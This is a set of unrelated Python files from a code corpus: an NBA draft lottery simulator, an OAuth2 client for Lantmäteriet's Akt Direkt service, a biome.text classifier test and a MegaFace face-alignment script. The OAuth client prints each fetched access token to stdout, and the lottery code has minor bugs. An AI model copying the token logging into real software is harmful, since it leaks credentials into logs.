ping_pong_combinations.remove(discarded_combination)\n random_indices = random.sample(range(len(ping_pong_combinations)), 1000)\n random_indices_length = len(random_indices)\n combinations_dictionary = {}\n for i in odds_dict.keys():\n sample = int(odds_dict[i] * random_indices_length)\n draw = random.sample(random_indices, sample)\n for j in draw:\n if draw[0] == j:\n combinations_dictionary[i] = [ping_pong_combinations[j]]\n else:\n combinations_dictionary[i].append(ping_pong_combinations[j])\n random_indices.remove(j)\n ping_pong_combinations.append(discarded_combination)\n return combinations_dictionary\n\n\ndef ball_combination_picker():\n \"\"\"\n This function simulates the selection of combinations of balls as done in the NBA Draft Lottery.\n First, a list of numbers from 1-15 is created. Then, the balls are mixed for 1/100000 of the time they\n are mixed in the actual NBA Draft Lottery. during this time, the list is shuffled and a random number is\n chosen from the list. This represents the first ball drawn. This process is repeated until 4 balls are drawn.\n :return: a list representing the 4 number combination that was drawn\n \"\"\"\n ping_pong_balls = list(range(1, 15))\n number_of_balls_picked = 0\n ball_combination = []\n\n while number_of_balls_picked < 4:\n number_of_balls_picked += 1\n start = time.time()\n time.time()\n elapsed = 0\n\n if number_of_balls_picked == 1:\n mixing_seconds = 0.0002\n else:\n mixing_seconds = 0.0001\n\n while elapsed < mixing_seconds:\n random.shuffle(ping_pong_balls)\n elapsed = time.time() - start\n print(\"Shuffling ping pong balls; \", elapsed, \"seconds elapsed...\")\n time.sleep(.0001)\n chosen_ball = random.choice(ping_pong_balls)\n print(\"The chosen ball is: \", chosen_ball)\n ball_combination.append(chosen_ball)\n ping_pong_balls.remove(chosen_ball)\n\n return ball_combination\n\n\ndef team_selector(four_ball_combination, displaced_combination, teams_combinations):\n \"\"\"\n Once the combination of balls is drawn, we must check which team has actually been assigned this combination.\n In order to do this, we look at all the permuatations of the ball combination and compare it to the combination\n assigned to each team and the unassigned combination to see which one the combination belongs to.\n :param four_ball_combination: an array representing the four number combination that was chosen\n :param displaced_combination: an array representing the combination that has not been assigned to a team\n :param teams_combinations: a dictionary that maps each team to a set of combinations they've been assigned to\n :return: the team that has been assigned the combination\n\n >>> team = team_selector([1,2,3,4], [11,12,13,14], {'Houston Rockets': [(1,2,3,4)]})\n >>> team == 'Houston Rockets'\n True\n\n >>> team = team_selector([1,2,3,4], [11,12,13,14], {'Minnesota Timberwolves': [(1,2,4,3)]})\n >>> team == 'Minnesota Timberwolves'\n True\n\n >>> team = team_selector([1,2,5,4], [11,12,13,14], {'Minnesota Timberwolves': [(1,2,4,3)]})\n >>> team != 'Minnesota Timberwolves'\n True\n \"\"\"\n ball_combinations = list(permutations(four_ball_combination, 4))\n unassigned_four_ball_combinations = list(permutations(displaced_combination, 4))\n for i in ball_combinations:\n if i in unassigned_four_ball_combinations:\n return ValueError\n\n for j in teams_combinations:\n if i in teams_combinations[j]:\n return j\n\n\ndef lottery_results(dictionary_combinations, combination_unassigned, input_user):\n \"\"\"\n This function calls on the ball_combination_picker() and team_selector() methods to run a full simulation of\n one NBA Draft Lottery. For the regular simulation, based on the first four teams that are assigned picks,\n the simulator goes in order based on a list of the teams in order of odds that are remaining and assigns\n them the picks 5-12. There are modifications for the other simulations involved, such as changing the number\n of teams that are picked using ping pong balls.\n :param dictionary_combinations: dictionary that maps each team to their assigned ball combinations\n :param combination_unassigned: an array representing the unassigned ball combination\n :param input_user: a user inputted string expressing what type of simulation this is\n :return: a dictionary that maps each team to the pick that they've been given in the lottery\n \"\"\"\n team_aggregate_stats = {}\n team_order = 1\n lottery_order = list(dictionary_combinations.keys())\n pick_limit = 0\n\n if input_user == 'r' or input_user == 'R' or input_user == 'w' or input_user == 'W':\n pick_limit = 4\n pick_number = 5\n\n elif input_user == 'a' or input_user == 'A':\n pick_limit = 14\n\n while team_order <= pick_limit:\n ball_combination = ball_combination_picker()\n team = team_selector(ball_combination, combination_unassigned, dictionary_combinations)\n print()\n\n if team in lottery_order:\n print(\"The number #\", team_order, \" pick in the 2021 NBA Draft goes to: \", team)\n if team not in team_aggregate_stats:\n team_aggregate_stats[team] = [team_order]\n else:\n team_aggregate_stats[team].append(team_order)\n print()\n lottery_order.remove(team)\n team_order += 1\n\n if input_user != 'a' and input_user != 'A':\n if input_user == 'r' or input_user == 'R':\n total_pick_limit = 14\n\n elif input_user == 'w' or input_user == 'W':\n total_pick_limit = 15\n\n print()\n print(\"Picks 5 -\", total_pick_limit, \"are in this order: \")\n for j in lottery_order:\n if pick_number != total_pick_limit:\n print(j + \", \")\n else:\n print(j)\n\n if j not in team_aggregate_stats:\n team_aggregate_stats[j] = [pick_number]\n else:\n team_aggregate_stats[j].append(pick_number)\n pick_number += 1\n\n print('___________________')\n return team_aggregate_stats\n\n\ndef team_stats_calculator(team_stats):\n \"\"\"\n This function uses the Counter function to count the number of times each team got each pick all the iterations\n of the simulation are complete.\n :param team_stats: A dictionary that maps each team to every pick that they received during the simulation\n :return: a Counter object that maps each team to the counts of each pick that they received during the simulation\n\n >>> cleaned_team_stats = team_stats_calculator({'Houston Rockets': [1, 2, 4, 6, 7]})\n >>> cleaned_team_stats\n {'Houston Rockets': Counter({1: 1, 2: 1, 4: 1, 6: 1, 7: 1})}\n\n >>> cleaned_team_stats = team_stats_calculator({'Houston Rockets': [1, 2, 4, 6, 7], 'Minnesota Timberwolves': [1, 3, 3, 3, 3]})\n >>> len(cleaned_team_stats['Minnesota Timberwolves']) == 2\n True\n\n >>> cleaned_team_stats = team_stats_calculator({'Houston Rockets': [1, 2, 4, 6, 7], 'Minnesota Timberwolves': [1, 3, 3, 3, 3]})\n >>> len(cleaned_team_stats) == 4\n False\n \"\"\"\n formatted_team_stats = {}\n for i in team_stats:\n formatted_team_stats[i] = Counter(team_stats[i])\n return formatted_team_stats\n\n\ndef team_data_plotter(team_aggregate_data):\n \"\"\"\n This function creates two lists, one that contains each team's names, and one that contains their associated\n picks from the simulation...these are used to generate a plot that provides a visual understanding of the\n simulation\n :param team_aggregate_data: a dictionary that maps each team to the counts of the picks they received\n during the simulation\n \"\"\"\n new_key = \"Kings\"\n old_key = \"Sacramento Kings\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Pistons\"\n old_key = \"Detroit Pistons\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Cavs\"\n old_key = \"Cleveland Cavaliers\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Rockets\"\n old_key = \"Houston Rockets\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Wolves\"\n old_key = \"Minnesota Timberwolves\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Magic\"\n old_key = \"Orlando Magic\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Thunder\"\n old_key = \"Oklahoma City Thunder\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Raptors\"\n old_key = \"Toronto Raptors\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Bulls\"\n old_key = \"Chicago Bulls\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Wizards\"\n old_key = \"Washington Wizards\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Pelicans\"\n old_key = \"New Orleans Pelicans\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Pacers\"\n old_key = \"Indiana Pacers\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Warriors\"\n old_key = \"Golden State Warriors\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n new_key = \"Spurs\"\n old_key = \"San Antonio Spurs\"\n if old_key in team_aggregate_data:\n team_aggregate_data[new_key] = team_aggregate_data.pop(old_key)\n\n team_list = []\n pick_list = []\n for i in team_aggregate_data:\n for j in team_aggregate_data[i].items():\n k = 0\n while k < int(j[1]):\n team_list.append(i)\n pick_list.append(j[0])\n k += 1\n\n fig_dims = (20, 10)\n fig, ax = plt.subplots(figsize=fig_dims)\n x = team_list\n y = pick_list\n print('___________________')\n print()\n print(\"The following plot summarizes our simulations of the NBA Draft Lottery: \")\n print()\n sns.stripplot(x=x, y=y, alpha=0.5, s=10, linewidth=1.0, jitter=True)\n plt.show()\n\n\ndef team_sim_data(team_info, sim_count, input_from_user):\n \"\"\"\n This function takes our Counter dictionary and uses its values to obtain some summary statistics\n for each team from our simulation. These statistics include: mean pick, standard deviation of pick,\n highest pick and lowest pick. This function also tests our hypotheses laid out in the readme as well.\n :param team_info: a dictionary that maps each team to the counts of the number of times they obtained each pick\n :param sim_count: the number of times the simulation iterated\n :param input_from_user: a user inputted string expressing what type of simulation this is\n \"\"\"\n print()\n print('The following statistics summarize our simulations of the NBA Draft Lottery: ')\n print()\n hypothesis_1_count = 0\n hypothesis_1_indices = []\n hypothesis_2_count = 0\n hypothesis_2_indices = []\n hypothesis_3_count = 0\n\n for i in team_info:\n picks = []\n for j in team_info[i].items():\n k = 0\n while k < int(j[1]):\n picks.append(j[0])\n k += 1\n\n print(i, \"simulation statistics: \")\n print()\n print(\"Average Pick: \" + str(np.mean(picks)))\n print(\"Standard Deviation of Picks: \" + str(np.std(picks)))\n print(\"Lowest Pick: #\" + str(np.max(picks)))\n print(\"Highest Pick: #\" + str(np.min(picks)))\n print()\n\n if input_from_user == 'r':\n if (\n i == 'Oklahoma City Thunder' or i == 'Cleveland Cavaliers' or i == 'Sacramento Kings' or i == 'Toronto Raptors'):\n for r, k in enumerate(picks):\n if k <= 4 and r not in hypothesis_1_indices:\n hypothesis_1_count += 1\n hypothesis_1_indices.append(i)\n\n if input_from_user == 'a':\n if i == 'Houston Rockets' or i == 'Minnesota Timberwolves' or i == 'Detroit Pistons':\n for r, k in enumerate(picks):\n if k >= 7 and r not in hypothesis_2_indices:\n hypothesis_2_count += 1\n hypothesis_2_indices.append(i)\n\n if input_from_user == 'o':\n if i == 'New York Knicks':\n for r in picks:\n if r == 1:\n hypothesis_3_count += 1\n\n if input_from_user == 'r' or input_from_user == 'a' or input_from_user == 'o':\n print('___________________')\n print()\n if input_from_user == 'r':\n if hypothesis_1_count / (sim_count - 1) >= 0.25:\n print(\"Hypothesis 1 is: True\")\n else:\n print(\"Hypothesis 1 is: False\")\n\n elif input_from_user == 'a':\n if hypothesis_2_count / (sim_count - 1) >= 0.40:\n print(\"Hypothesis 2 is: True\")\n else:\n print(\"Hypothesis 2 is: False\")\n\n elif input_from_user == 'o':\n if hypothesis_3_count / (sim_count - 1) >= 0.40:\n print(\"Hypothesis 3 is: True\")\n else:\n print(\"Hypothesis 3 is: False\")\n\n\ndef multinomial_simulator(odds, counter):\n \"\"\"\n This function iterates through the odds list for each team in the lottery. It then creates a multinomial\n distribution and simulates the number of times each pick is awarded to each team out of a given number\n of simulations.\n :param odds: A list representing a team's chances of obtaining picks 1-14\n :param counter: An integer representing how many times the simulation should iterate\n \"\"\"\n print()\n for i in odds:\n simulations = multinomial(counter, odds[i])\n for j in range(len(simulations)):\n print(i + ' Pick %d: %d ' % (j + 1, simulations[j]))\n print()\n\n\ndef bernoulli_random_trial():\n \"\"\"\n This function simply uses the numpy package for a random bernoulli trial with 0.7 success rate and\n runs this one time. Then, it returns the results: either a 1 for success or a 0 for failure. This is used to determine\n whether or not the NBA's attempt to rig the 1985 Lottery in favor of the Knicks is successful or not.\n :return: a variable that represents a 0 for a failed attempt or a 1 for a successful attempt\n\n >>> result = bernoulli_random_trial()\n >>> result == 0 or result == 1\n array([ True])\n \"\"\"\n x = 1\n success_rate = 0.7\n Y = np.random.binomial(1, success_rate, x)\n return Y\n\n\ndef nba_rigging_odds(bernoulli_result):\n \"\"\"\n This function determines the odds of each team winning the lottery. If the bernoulli trial was a success, a\n normal random variable that results in odds that are larger than the original odds for the Knicks is used to\n replace their original odds, then a randomly selected team loses the difference between these odds,\n illustrating that the lottery was rigged. If the bernoulli trial was a failure, the Knicks' odds are brought\n down to 0.001 and a randomly selected team gets the rest of their odds added.\n :param bernoulli_result: a variable that represents a 0 for a failed attempt or a 1 for a successful attempt\n :return: a list of the odds for each team to win the lottery\n \"\"\"\n pacers_odds = 0.1429\n clippers_odds = 0.1429\n supersonics_odds = 0.1429\n hawks_odds = 0.1429\n kings_odds = 0.1429\n warriors_odds = 0.1429\n\n if bernoulli_result == 1:\n print('The NBA was not caught attempting to rig the 1985 NBA Draft Lottery')\n mu, sigma = 0.25, 0.1\n knicks_odds = np.round(np.random.normal(mu, sigma, 1),\n 3) # using a normal dist. to determine odds of rigged knicks pick\n while knicks_odds <= 0 or knicks_odds >= 0.2858 or knicks_odds <= 0.1429: # knicks should not have non-positive odds or odds that will reduce other teams' odds to negative values\n knicks_odds = np.round(np.random.normal(mu, sigma, 1), 3)\n randomizer = random.randint(1, 6)\n if randomizer == 1:\n pacers_odds -= (knicks_odds - 0.1429)\n elif randomizer == 2:\n clippers_odds -= (knicks_odds - 0.1429)\n elif randomizer == 3:\n supersonics_odds -= (knicks_odds - 0.1429)\n elif randomizer == 4:\n hawks_odds -= (knicks_odds - 0.1429)\n elif randomizer == 5:\n kings_odds -= (knicks_odds - 0.1429)\n else:\n warriors_odds -= (knicks_odds - 0.1429)\n print('The New York Knicks rigged odds are now:', knicks_odds)\n print()\n\n else:\n print('The NBA was caught attempting to rig the 1985 NBA Draft Lottery')\n knicks_odds = 0.01\n randomizer = random.randint(1, 6)\n if randomizer == 1:\n pacers_odds += (0.1429 - knicks_odds)\n elif randomizer == 2:\n clippers_odds += (0.1429 - knicks_odds)\n elif randomizer == 3:\n supersonics_odds += (0.1429 - knicks_odds)\n elif randomizer == 4:\n hawks_odds += (0.1429 - knicks_odds)\n elif randomizer == 5:\n kings_odds += (0.1429 - knicks_odds)\n else:\n warriors_odds += (0.1429 - knicks_odds)\n print('The New York Knicks odds after punishment are now:', knicks_odds)\n print()\n\n return [knicks_odds, pacers_odds, clippers_odds, supersonics_odds, hawks_odds, kings_odds, warriors_odds]\n\n\ndef nba_1985_draft_lottery_simulator(team_odds):\n \"\"\"\n Given the odds for each team, a multinomial distribution is used to determine the 1st pick, then the 2nd pick,\n and so on, all the way to the fifth pick. Then, the final two picks in the lottery are filled in manually.\n The resulting pick for each team is then added to a dictionary, in which the key is the team name and the value\n is the pick, and this dictionary is returned.\n :param team_odds: a list representing the odds for all the teams in the lottery of getting the number #1 pick\n :return: a dictionary that maps each team to their pick\n \"\"\"\n team_list = ['New York Knicks', 'Indiana Pacers', 'Los Angeles Clippers', 'Seattle SuperSonics', 'Atlanta Hawks',\n 'Sacramento Kings', 'Golden State Warriors']\n pick_list = []\n pick_number = 1\n while pick_number <= 5:\n simulations = multinomial(1, team_odds)\n pick_list.append(team_list[np.argmax(simulations)])\n team_odds.pop(np.argmax(simulations))\n team_list.pop(np.argmax(simulations))\n pick_number += 1\n\n for i in team_list:\n if i not in pick_list:\n pick_list.append(i)\n\n pick_dictionary = {}\n for i, value in enumerate(pick_list):\n pick_dictionary[value] = [i + 1]\n print(\"The number #\", i + 1, \"pick in the 1985 NBA Draft goes to:\", value)\n\n print()\n return pick_dictionary\n", "sub_path": "nbadraftlottery_functions.py", "file_name": "nbadraftlottery_functions.py", "file_ext": "py", "file_size_in_byte": 27956, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "itertools.combinations", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 91, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 92, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 137, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 160, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 165, "usage_type": "call"}, {"api_name": "time.time", "line_number": 190, "usage_type": "call"}, {"api_name": "time.time", "line_number": 191, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 200, "usage_type": "call"}, {"api_name": "time.time", "line_number": 201, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 203, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 204, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 234, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 235, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 423, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 423, "usage_type": "name"}, {"api_name": "seaborn.stripplot", "line_number": 430, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 431, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 431, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 462, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 463, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 465, "usage_type": "call"}, {"api_name": "numpy.random.multinomial", "line_number": 521, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 540, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 540, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 564, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 564, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 564, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 567, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 568, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 587, "usage_type": "call"}, {"api_name": "numpy.random.multinomial", "line_number": 620, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 621, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 622, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 623, "usage_type": "call"}]} {"seq_id": "63136281", "text": "\"\"\"Client library for Akt Direkt service.\"\"\"\n\nimport threading\nimport urllib.parse\nfrom oauthlib.oauth2 import BackendApplicationClient, TokenExpiredError, OAuth2Error\nfrom requests.auth import HTTPBasicAuth\nfrom requests_oauthlib import OAuth2Session\n\n__copyright__ = \"\"\"\n\n Copyright 2018 Lantmäteriet\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n\"\"\"\n\n\nclass AktDirectClient:\n \"\"\"Client library for Akt Direkt service.\"\"\"\n\n def __init__(self, service_url, consumer_key, consumer_secret, token_url):\n \"\"\"Initialize client with configuration given by Lantmäteriet.\"\"\"\n self.service_url = service_url\n self.consumer_key = consumer_key\n self.consumer_secret = consumer_secret\n self.token_url = token_url\n self._update_token_recursion_limiter = threading.Semaphore(\n 1\n ) # Used to stop recursion in error handling\n self._init_lock = threading.RLock()\n self._initialize()\n\n def _initialize(self):\n \"\"\"Initialize/reinitialize client libraries.\"\"\"\n with self._init_lock:\n self.auth = HTTPBasicAuth(self.consumer_key, self.consumer_secret)\n self.client = BackendApplicationClient(client_id=self.consumer_key)\n self.oauth = OAuth2Session(client=self.client)\n self.update_token()\n\n def update_token(self):\n \"\"\"Fetch new token from server.\n\n Get a access token using your consumer key and secret,\n the token will be used to access the service.\n Note that a token has a limited life.\n \"\"\"\n with self._init_lock:\n try:\n token = self.oauth.fetch_token(token_url=self.token_url, auth=self.auth)\n print(f\"fetched new token: {token}\")\n self.oauth.token = token\n except OAuth2Error as err:\n # We have seen a case where update_token on expiration fails but reinitializaton\n # works, so if update fails we try to reinitialize.\n # But initilize calls update_token so if it's a \"real\" error we needs to stop the error\n # handling from going into a recursion.\n with self._update_token_recursion_limiter as recursion_ok:\n if not recursion_ok:\n raise\n\n print(\n \"Got OAuth2Error when trying to update token, will reinitialize. error was: \",\n err,\n )\n self._initialize()\n\n def _call_service(self, rel_path, params=None, stream=False):\n \"\"\"Call the service and handle token expiration.\n\n This method is used by the get_ and test_ methods in this class.\n\n returns a requests response object\n \"\"\"\n # without the / the last element in service_url may be replaced\n url = urllib.parse.urljoin(self.service_url + \"/\", rel_path)\n try:\n res = self.oauth.get(url, stream=stream, params=params)\n except TokenExpiredError:\n # If the token has expired get a new one and retry\n self.update_token()\n res = self.oauth.get(url, stream=stream, params=params)\n except OAuth2Error as err:\n # This is not a case we have seen but to be on the safe side we try to reinitialize\n # if it happens.\n print(\n \"Got OAuth2Error other than TokenExpiredError, will reinitialize. error was: \",\n err,\n )\n self._initialize()\n res = self.oauth.get(url, stream=stream, params=params)\n if not res.ok:\n # If update_token() fails the next call will result in a 401\n # We can choose to reinitialize on all errors instead of only 401 because\n # the Akt-Direkt API do not use HTTP error codes as part of the API.\n print(\n \"Got an HTTP response >= 400, will reinitialize and try again, error was: \",\n res.status_code,\n res.text,\n )\n self._initialize()\n res = self.oauth.get(url, stream=stream, params=params)\n\n print(f\"Called {res.request.url}\", params)\n if not res.ok:\n print(\"Call failed, status-code:\", res.status_code)\n print(res.text)\n return res\n\n def get_djvu(self, archive, id_):\n \"\"\"Get the dossier as a DjVU.\n\n returns a requests response object\n \"\"\"\n rel_path = \"document/bundle.djvu\"\n params = {\"archive\": archive, \"id\": id_}\n res = self._call_service(rel_path, stream=True, params=params)\n return res\n\n def get_djvu_djvu_on_error(self, archive, id_):\n \"\"\"Get the dossier as a DjVU.\n\n returns a requests response object\n \"\"\"\n rel_path = \"document/djvu_on_error/bundle.djvu\"\n params = {\"archive\": archive, \"id\": id_}\n res = self._call_service(rel_path, stream=True, params=params)\n return res\n\n def get_ping(self):\n \"\"\"Make a communication test with Akt Direkt.\n\n This call test your configuration, communications, authentication and authorization.\n\n returns a requests response object\n \"\"\"\n rel_path = \"ping\"\n res = self._call_service(rel_path)\n\n return res\n\n def test_connection(self):\n \"\"\"Make a communication test with Akt Direkt.\n\n This call test your configuration, communications, authentication and authorization.\n\n returns a boolean, True if everything is OK or False if not.\n \"\"\"\n res = self.get_ping()\n return res.ok\n", "sub_path": "akt_direkt_proxy/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 6143, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "threading.Semaphore", "line_number": 37, "usage_type": "call"}, {"api_name": "threading.RLock", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 46, "usage_type": "call"}, {"api_name": "oauthlib.oauth2.BackendApplicationClient", "line_number": 47, "usage_type": "call"}, {"api_name": "requests_oauthlib.OAuth2Session", "line_number": 48, "usage_type": "call"}, {"api_name": "oauthlib.oauth2.OAuth2Error", "line_number": 63, "usage_type": "name"}, {"api_name": "urllib.parse.parse.urljoin", "line_number": 86, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 86, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 86, "usage_type": "name"}, {"api_name": "oauthlib.oauth2.TokenExpiredError", "line_number": 89, "usage_type": "name"}, {"api_name": "oauthlib.oauth2.OAuth2Error", "line_number": 93, "usage_type": "name"}]} {"seq_id": "493173349", "text": "from typing import Dict\n\nimport pandas as pd\nimport pytest\nfrom biome.text import TrainerConfiguration, VocabularyConfiguration\nfrom biome.text import Pipeline\nfrom biome.text.data import DataSource\n\n\n@pytest.fixture\ndef training_data_source(tmp_path) -> DataSource:\n data_file = tmp_path / \"relations.json\"\n df = pd.DataFrame(\n [\n {\n \"text\": \"The most common audits were about waste and recycling.\",\n \"entities\": [\n {\"start\": 34, \"end\": 39, \"label\": \"PN\", \"text\": \"waste\"},\n {\"start\": 16, \"end\": 22, \"label\": \"QTY\", \"text\": \"audits\"},\n ],\n \"label\": \"Message-Topic(e1,e2)\",\n },\n {\n \"text\": \"The company fabricates plastic chairs.\",\n \"entities\": [\n {\"start\": 4, \"end\": 11, \"label\": \"OBJECT\", \"text\": \"company\"},\n {\"start\": 31, \"end\": 37, \"label\": \"SUBJECT\", \"text\": \"chairs\"},\n ],\n \"label\": \"Product-Producer(e2,e1)\",\n },\n ]\n )\n df.to_json(data_file, lines=True, orient=\"records\")\n\n return DataSource(\n source=str(data_file), flatten=False, lines=True, orient=\"records\"\n )\n\n\n@pytest.fixture\ndef pipeline_dict() -> Dict:\n pipeline_dict = {\n \"name\": \"biome-rele\",\n \"features\": {\n \"word\": {\"embedding_dim\": 2},\n \"char\": {\n \"embedding_dim\": 2,\n \"dropout\": 0.1,\n \"encoder\": {\n \"type\": \"gru\",\n \"hidden_size\": 2,\n },\n },\n },\n \"head\": {\n \"type\": \"RelationClassification\",\n \"labels\": [\"Message-Topic(e1,e2)\", \"Product-Producer(e2,e1)\"],\n \"entities_embedder\": {\"num_embeddings\": 12, \"embedding_dim\": 50},\n \"feedforward\": {\n \"num_layers\": 1,\n \"hidden_dims\": [4],\n \"activations\": [\"relu\"],\n \"dropout\": [0.1],\n },\n },\n }\n\n return pipeline_dict\n\n\n@pytest.fixture\ndef trainer_dict() -> Dict:\n trainer_dict = {\n \"num_epochs\": 1,\n \"optimizer\": {\"type\": \"adamw\", \"lr\": 0.002},\n }\n\n return trainer_dict\n\n\ndef test_train(pipeline_dict, training_data_source, trainer_dict, tmp_path):\n pipeline = Pipeline.from_config(pipeline_dict)\n pipeline.predict(\n text=\"The most common audits were about waste and recycling\",\n entities=[\n {\"start\": 34, \"end\": 39, \"label\": \"OBJECT\", \"text\": \"waste\"},\n {\"start\": 16, \"end\": 22, \"label\": \"SUBJECT\", \"text\": \"audits\"},\n ],\n )\n pipeline.create_vocabulary(VocabularyConfiguration(sources=[training_data_source]))\n\n pipeline.train(\n output=str(tmp_path / \"relation_classifier\"),\n trainer=TrainerConfiguration(**trainer_dict),\n training=training_data_source,\n validation=training_data_source,\n )\n\n pl_trained = Pipeline.from_pretrained(str(tmp_path / \"relation_classifier\"))\n pl_trained.predict(\n text=\"The most common audits were about waste and recycling\",\n entities=[\n {\"start\": 34, \"end\": 39, \"label\": \"OBJECT\", \"text\": \"waste\"},\n {\"start\": 16, \"end\": 22, \"label\": \"SUBJECT\", \"text\": \"audits\"},\n ],\n )\n", "sub_path": "tests/text/modules/heads/test_relation_classifier.py", "file_name": "test_relation_classifier.py", "file_ext": "py", "file_size_in_byte": 3348, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.DataFrame", "line_number": 13, "usage_type": "call"}, {"api_name": "biome.text.data.DataSource", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 10, "usage_type": "attribute"}, {"api_name": "biome.text.data.DataSource", "line_number": 11, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 40, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 41, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 71, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 72, "usage_type": "name"}, {"api_name": "biome.text.Pipeline.from_config", "line_number": 82, "usage_type": "call"}, {"api_name": "biome.text.Pipeline", "line_number": 82, "usage_type": "name"}, {"api_name": "biome.text.VocabularyConfiguration", "line_number": 90, "usage_type": "call"}, {"api_name": "biome.text.TrainerConfiguration", "line_number": 94, "usage_type": "call"}, {"api_name": "biome.text.Pipeline.from_pretrained", "line_number": 99, "usage_type": "call"}, {"api_name": "biome.text.Pipeline", "line_number": 99, "usage_type": "name"}]} {"seq_id": "100644560", "text": "import os\n\nimport cv2 as cv\nimport torch\nimport tqdm\nfrom torch.multiprocessing import Pool\nfrom tqdm import tqdm\n\n\ndef detect_face(data):\n from utils import get_central_face_attributes, align_face\n src_path = data['src_path']\n dst_path = data['dst_path']\n with torch.no_grad():\n has_face, bboxes, landmarks = get_central_face_attributes(src_path)\n if has_face:\n img = align_face(src_path, landmarks)\n cv.imwrite(dst_path, img)\n\n return True\n\n\ndef megaface_align(src, dst):\n image_paths = []\n for dirName, subdirList, fileList in tqdm(os.walk(src)):\n for fname in fileList:\n if fname.lower().endswith('.jpg'):\n src_path = os.path.join(dirName, fname)\n dst_path = os.path.join(dirName.replace(src, dst), fname)\n image_paths.append({'src_path': src_path, 'dst_path': dst_path})\n\n # print(image_paths[:20])\n num_images = len(image_paths)\n print('num_images: ' + str(num_images))\n\n with Pool(1) as p:\n r = list(tqdm(p.imap(detect_face, image_paths), total=num_images))\n\n # for image_path in tqdm(image_paths):\n # detect_face(image_path)\n\n print('Completed!')\n\n\nif __name__ == '__main__':\n megaface_align('megaface/MegaFace', 'megaface/MegaFace_aligned')\n megaface_align('megaface/FaceScrub', 